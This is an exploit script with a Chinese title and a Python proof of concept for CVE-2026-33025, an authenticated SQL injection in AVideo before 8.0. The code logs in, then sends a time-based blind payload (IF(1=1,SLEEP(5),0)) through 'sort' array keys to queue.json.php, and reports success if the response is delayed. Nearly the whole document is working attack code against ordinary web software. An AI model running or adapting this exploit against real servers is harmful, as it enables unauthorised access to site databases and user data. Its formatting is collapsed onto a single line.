CVE-2026-33025 AVideo SQL注入漏洞

import requests # Exploit Title: AVideo < 8.0 - SQL Injection (Authenticated) # Date: 2026-03-20 # Exploit Author: Analyst # Vendor Homepage: https://avideo.com/ # Software Link: https://github.com/WWBN/AVideo # Version: < 8.0 # CVE: CVE-2026-33025 def exploit(url, username, password): session = requests.Session() # 1. Login (Assuming standard login endpoint) login_payload = { 'user': username, 'pass': password, 'login': 'Login' } session.post(f"{url}/userLogin", data=login_payload) # 2. Send malicious payload to queue view # The vulnerability is in the 'sort' array keys in getSqlFromPost() # Injection point: ORDER BY [KEY] # Payload: IF(1=1,SLEEP(5),0) injection_payload = { 'sort[IF(1=1,SLEEP(5),0)]': 'ASC' } response = session.post(f"{url}/queue.json.php", data=injection_payload) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! SQL Injection successful.") else: print("[-] Failed to confirm vulnerability.") if __name__ == "__main__": target_url = "http://localhost/avideo" exploit(target_url, "admin", "password")